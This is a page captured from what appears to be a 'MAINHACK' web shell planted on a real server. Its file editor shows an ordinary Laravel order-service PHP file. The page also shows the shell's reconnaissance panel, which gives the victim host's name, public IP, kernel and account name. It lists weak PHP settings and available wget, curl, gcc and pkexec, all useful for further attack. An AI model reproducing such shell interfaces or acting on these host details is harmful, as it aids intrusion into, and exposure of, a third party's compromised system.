[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: KitchenDisplaySystemOrderService.php
<?php namespace App\Services; use App\Enums\Ask; use App\Enums\OrderStatus; use App\Events\SendOrderGotMail; use App\Events\SendOrderGotPush; use App\Events\SendOrderGotSms; use App\Http\Requests\OrderStatusRequest; use App\Models\Order; use Carbon\Carbon; use Exception; use Illuminate\Http\Request; use Illuminate\Support\Facades\Log; class KitchenDisplaySystemOrderService { public object $order; protected array $orderFilter = [ 'order_serial_no', 'branch_id', 'order_type', 'status', 'kitchen_status', 'source' ]; protected array $exceptFilter = [ 'excepts' ]; /** * @throws Exception */ public function list(Request $request) { try { $requests = $request->all(); $orderColumn = $request->get('order_column') ?? 'id'; $orderType = $request->get('order_by') ?? 'desc'; return Order::with('orderItems')->whereIn('status', [OrderStatus::ACCEPT, OrderStatus::PREPARING, OrderStatus::PREPARED])->where(function ($query) { $query->where(function ($subQuery) { $subQuery->whereDate('order_datetime', Carbon::today())->where('is_advance_order', Ask::NO); })->orWhere(function ($subQuery) { $subQuery->where('is_advance_order', Ask::YES)->whereDate('order_datetime', Carbon::yesterday()); }); })->where(function ($query) use ($requests) { foreach ($requests as $key => $request) { if (in_array($key, $this->orderFilter)) { if ($key === "status" && $request) { $query->where($key, (int)$request); } else { $query->where($key, 'like', '%' . $request . '%'); } } if (in_array($key, $this->exceptFilter)) { $explodes = explode('|', $request); if (is_array($explodes)) { foreach ($explodes as $explode) { $query->where('order_type', '!=', $explode); } } } } })->orderBy($orderColumn, $orderType)->get(); } catch (Exception $exception) { Log::info($exception->getMessage()); throw new Exception($exception->getMessage(), 422); } } /** * @throws Exception */ public function changeStatus(Order $order, OrderStatusRequest $request) { try { $order->status = $request->status; $order->save(); } catch (Exception $exception) { Log::info($exception->getMessage()); throw new Exception($exception->getMessage(), 422); } } /** * @throws Exception */ public function OrderItems() { try { $orders = Order::with('orderItems')->where('status', OrderStatus::PREPARING)->get(); $allItems = $orders->pluck('orderItems')->flatten(); $mergedItems = $allItems->groupBy(function ($item) { $variations = empty($item['item_variations']) ? '[]' : collect($item['item_variations'])->sortKeys()->toJson(); $extras = empty($item['item_extras']) ? '[]' : collect($item['item_extras'])->sortKeys()->toJson(); $instruction = $item['instruction'] ?? ''; return json_encode([ 'item_id' => $item['item_id'], 'item_variations' => $variations, 'item_extras' => $extras, 'instruction' => $instruction, ]); })->map(function ($groupedItems) { $firstItem = $groupedItems->first(); $firstItem['quantity'] = $groupedItems->count() > 1 && !$firstItem['instruction'] ? $groupedItems->sum('quantity') : $firstItem['quantity']; return $firstItem; })->values(); return $mergedItems; } catch (Exception $exception) { Log::info($exception->getMessage()); throw new Exception($exception->getMessage(), 422); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002